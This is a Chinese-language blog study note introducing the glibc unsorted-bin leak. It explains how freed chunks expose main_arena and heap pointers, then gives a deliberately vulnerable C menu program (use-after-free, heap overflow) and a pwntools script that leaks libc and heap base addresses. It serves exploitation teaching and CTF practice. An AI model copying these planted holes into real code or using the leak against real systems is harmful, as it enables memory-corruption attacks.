前言

从前都是野路子学习，学校时间也比较紧张，没有能够好好总结。一直有做个人笔记的习惯，但是学习路线比较分散盲目，虽然跟着wiki做，但是也面临知识点不全的窘境。近期开始跟着课程系统的学习，对于老的知识点也打算翻新一遍收获新知，同时也打算将相关知识整理一份，做一个系列，与诸君共勉。

由于是手札，所以记录侧重核心知识，对于细节可能会疏忽很多（更多的作为一个知识清单，详细知识网上其他师傅也必然都有优秀的文章博客，也不必赘述冗余），也可能出现很多不严谨的地方。希望读者多多包涵、及时指出以便我进行改正。

本系列的开篇之作，就从Unsortedbin Leak开始。

演示、测试代码部分来自看雪课程

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一、Unsortedbin Leak原理

Unsorted Bin 在管理时为循环双向链表，若 Unsorted Bin 中有两个 bin，那么该链表结构如下

        main_arena 是一个 struct malloc_state 类型的全局变量，是 ptmalloc 管理主分配区的唯一
实例。说到全局变量，立马可以想到他会被分配在 .data 或者 .bss 等段上，那么如果我们有进程所使用的 libc 的 .so 文件的话，我们就可以获得 main_arena 与 libc 基地址的偏移，从而获取 libc
的基地址。

        由于 unsorted bin 是双向链表，因此在 unsorted bin 链表中必有一个节点的 fd 指针会指向
main_arena 结构体内部。如果我们可以把正确的 fd 指针 leak 出来，就可以获得一个与main_arena 有固定偏移的地址，这个偏移可以通过调试得出。 

二、Leak Libc

        如果存在UAF漏洞（释放后利用），并存在打印函数，可以将一块Unsortedbin中的chunk内容进行打印，就可以泄露main_arena上的指针，也即一块libc地址。

三、Leak Heap 

        原理还是和Leak Libc一样，但是选手可能更关注Unsortedbin Leak Libc。双向链表，因此党Unsortedbin里面有多个chunk时，由于堆块的指针相互指向，因此chunk中也包含堆的地址，此时打印出来通过偏移即可获得堆基址。

四、测试代码

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
context(arch=elf.arch, os=elf.os)
# context.log_level = 'debug'
p = process([elf.path])


def add_chunk(index, size):
    p.sendafter(b"choice:", b"1")
    p.sendafter(b"index:", str(index).encode())
    p.sendafter(b"size:", str(size).encode())


def delete_chunk(index):
    p.sendafter(b"choice:", b"2")
    p.sendafter(b"index:", str(index).encode())


def edit_chunk(index, content):
    p.sendafter(b"choice:", b"3")
    p.sendafter(b"index:", str(index).encode())
    p.sendafter(b"length:", str(len(content)).encode())
    p.sendafter(b"content:", content)


def show_chunk(index):
    p.sendafter(b"choice:", b"4")
    p.sendafter(b"index:", str(index).encode())


add_chunk(0, 0x80)
add_chunk(3, 0x20)
add_chunk(1, 0x80)
add_chunk(4, 0x20)
add_chunk(2, 0x80)
delete_chunk(0)
delete_chunk(1)
add_chunk(0, 0x80)
show_chunk(0)
libc.address = u64(p.recvuntil(b'\x0a\x31',drop=True)[-6:].ljust(8, b'\x00'))-0x729e52b9bb78+0x729e52800000
info("libc base: " + hex(libc.address))
edit_chunk(0, b'a' * 8)
show_chunk(0)
heap_base = u64(p.recvuntil(b'\x0a\x31',drop=True)[-6:].ljust(8, b'\x00')) & ~0xFFF
info("heap base: " + hex(heap_base))
gdb.attach(p)

p.interactive()